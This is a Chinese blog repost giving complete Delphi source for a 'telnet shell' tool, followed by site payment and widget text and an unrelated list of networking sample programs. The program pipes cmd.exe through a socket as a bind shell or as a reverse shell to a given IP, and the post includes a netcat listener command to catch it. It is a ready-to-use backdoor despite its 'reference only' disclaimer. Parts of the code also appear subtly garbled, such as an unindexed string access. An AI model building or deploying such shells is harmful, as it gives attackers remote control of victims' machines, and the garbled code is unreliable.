支持正反连接的 TELNET SHELL 程序(附Delph源码)

 转自阿D'blog
TELNET SHELL 的C代码不少,DELPHI的比较少见,我把C代码改成DELPHI代码的,喜欢用DELPHI代码的朋友可以看看!只做编程参考,请匆用于破坏!

使用示例:
DShell.exe 3000 正向连接方式
DShell.exe 192.168.1.200 3000 反向连接方式

反向连接时,请先用NC等待反向的连接
nc -l -p 3000   //端口和上面的指定的端口要相同了

代码如下:
  1. program D_Shell;   
  2. {$APPTYPE CONSOLE} //控制台程序   
  3.   
  4. uses windows, Winsock2;   
  5.   
  6.   
  7. function StrToInt(const S: string): Integer;   
  8. var  
  9. E: Integer;   
  10. begin  
  11. Val(S, Result, E);   
  12. end;   
  13.   
  14. function ExtractFileName(const Path: string): string;   
  15. var  
  16. i, L: integer;   
  17. Ch: Char;   
  18. begin  
  19. L := Length(Path);   
  20. for i := L downto 1 do  
  21. begin  
  22.    Ch := Path;   
  23.   if (Ch = '/') or (Ch = '/') then  
  24.   begin  
  25.      Result := Copy(Path, i + 1, L - i);   
  26.      Break;   
  27.   end;   
  28. end;   
  29. end;   
  30.   
  31. const  
  32. line = '-----------------------------------------------';   
  33.   
  34. var  
  35. wsadata: TWsadata;   
  36. MySocket: TSocket;   
  37. Addr: TSockAddrIn;   
  38. ClientAddr: TSockAddrIn;   
  39. ClientAddrLen: integer;   
  40. Clientsocket: TSocket;   
  41. Buf: array[0..1024] of char;   
  42. SI: TStartUpInfo;   
  43. PI: TProcessInformation;   
  44. re: integer;   
  45. str: string;   
  46. begin  
  47. try  
  48.    WSAStartup($202, wsaData); //初始化网络   
  49.   //创建 Socket   
  50.    MySocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);   
  51.   
  52.   case ParamCount of  
  53.     1: //服务器模式   
  54.     begin  
  55.        Addr.sin_family := AF_INET; //   
  56.        Addr.sin_port := htons(strtoint(ParamStr(1))); //端口   
  57.        Addr.sin_addr.S_addr := htonl(INADDR_ANY); //任何地址   
  58.        bind(MySocket, @Addr, SizeOf(TSockAddrIn));   
  59.        listen(MySocket, 1);   
  60.   
  61.       //读取并分配一个新连接进行处理   
  62.        ClientAddrLen := SizeOf(ClientAddr);   
  63.        Clientsocket := accept(MySocket, ClientAddr, ClientAddrLen);   
  64.     end;   
  65.     2: //连接模式   
  66.     begin  
  67.        Addr.sin_family := AF_INET;   
  68.        Addr.sin_addr.s_addr := inet_addr(pchar(ParamStr(1))); //指定IP   
  69.        Addr.sin_port := htons(strtoint(ParamStr(2))); //设置端口   
  70.        re := connect(MySocket, @Addr, SizeOf(TSockAddrIn)); //建立 Socket 连接   
  71.       if re <> 0 then exit;   
  72.        Clientsocket := MySocket;   
  73.     end;   
  74.   else begin //显示帮助信息   
  75.     writeln(line);   
  76.     writeln('[啊D TELNET SHELL] '#13#10'<a href="http://www.d99net.net" target="_blank" rel="external">http://www.d99net.net</a>');   
  77.     writeln(line);   
  78.     writeln('使用示例:');   
  79.      str := extractfilename(ParamStr(0)); //得到程序名   
  80.     writeln(str + ' 3000 正向连接方式');   
  81.     writeln(str + ' 192.168.1.200 3000 反向连接方式');   
  82.      exit; //退出   
  83.     end;   
  84.   end;   
  85.   
  86.    GetEnvironmentVariable('COMSPEC', buf, 1024); //得到CMD位置   
  87.    FillChar(SI, SizeOf(SI), 0);   
  88.    SI.cb := SizeOf(TStartUpInfo);   
  89.    SI.dwFlags := $101;   
  90.    SI.hStdOutput := Clientsocket; //输出到 socket 中   
  91.    SI.hStdError := Clientsocket;   
  92.    si.hStdInput := Clientsocket; //把输入的内容输入到CMD管道   
  93.    createProcess(nil, buf, nil, nil, True, 0, nil, nil, SI, PI); //创建CMD   
  94. except  
  95.   
  96. end;   
  97. end.  
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1.1、GetIP(获取IP地址程序)<br> GetHostByName(使用GetHostByName函数获取IP程序)<br> WSAAsyncGetHostByName(使用WSAAsyncGetHostByName函数获取IP地址程序)<br> MultiIP(多IP情况的处理程序)<br> ReadIP and IP(关于IP地址和实际的地址的区别)<br>1.2、GetNetMask(Windows NT&98系统中获取子网掩码)<br>1.3、获取计算机名(获取或设置本地机和远程计算机名)<br>1.4、在线检测(网络连接情况检测)<br>1.5、DNS的更改和设置(获取DNS设置)<br>1.6、MAC Addr(网卡信息的获取)<br>3.1、FTP-API(使用API函数实现FTP客户端程序)<br>3.2、FTP服务器(FTP服务器程序,实现了FTP服务的大部分功能)<br>4.1、HTTPGET(使用HTTP协议下载web服务器上的文件或网页)<br>4.2、WebProxy(实现了Web代理服务器的程序,可以让多个局域网的计算机通过该代理上网)<br>4.3、Webserver(Web服务器程序,运行该程序可以建立自己的网页服务器)<br>5.1、telnet(实现了远程登录的客户端功能,使用它可以上BBS)<br>5.2、TelnetProxy(实现了telnet代理服务器功能的程序)<br>6.1、mail2000(实现了收发Email的功能,并且能够分析email信件结构,发送件等)<br>7.1、netmon(网络流量统计的程序)<br>7.2、tcplist(网络连接监控的程序)<br>7.3、tcpipmon(网络配置和统计的使用实例)<br>7.4、LanFind(局域网资源搜索程序)<br>8.1、Modem-client(Modem文件传输的客户端程序)<br>8.2、Modem-server(Modem文件传输的服务器程序)<br>9.1、RAS-Code(RAS拨号上网程序)<br>10.1、tfax(通过计算机发送传真的程序)<br><br>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值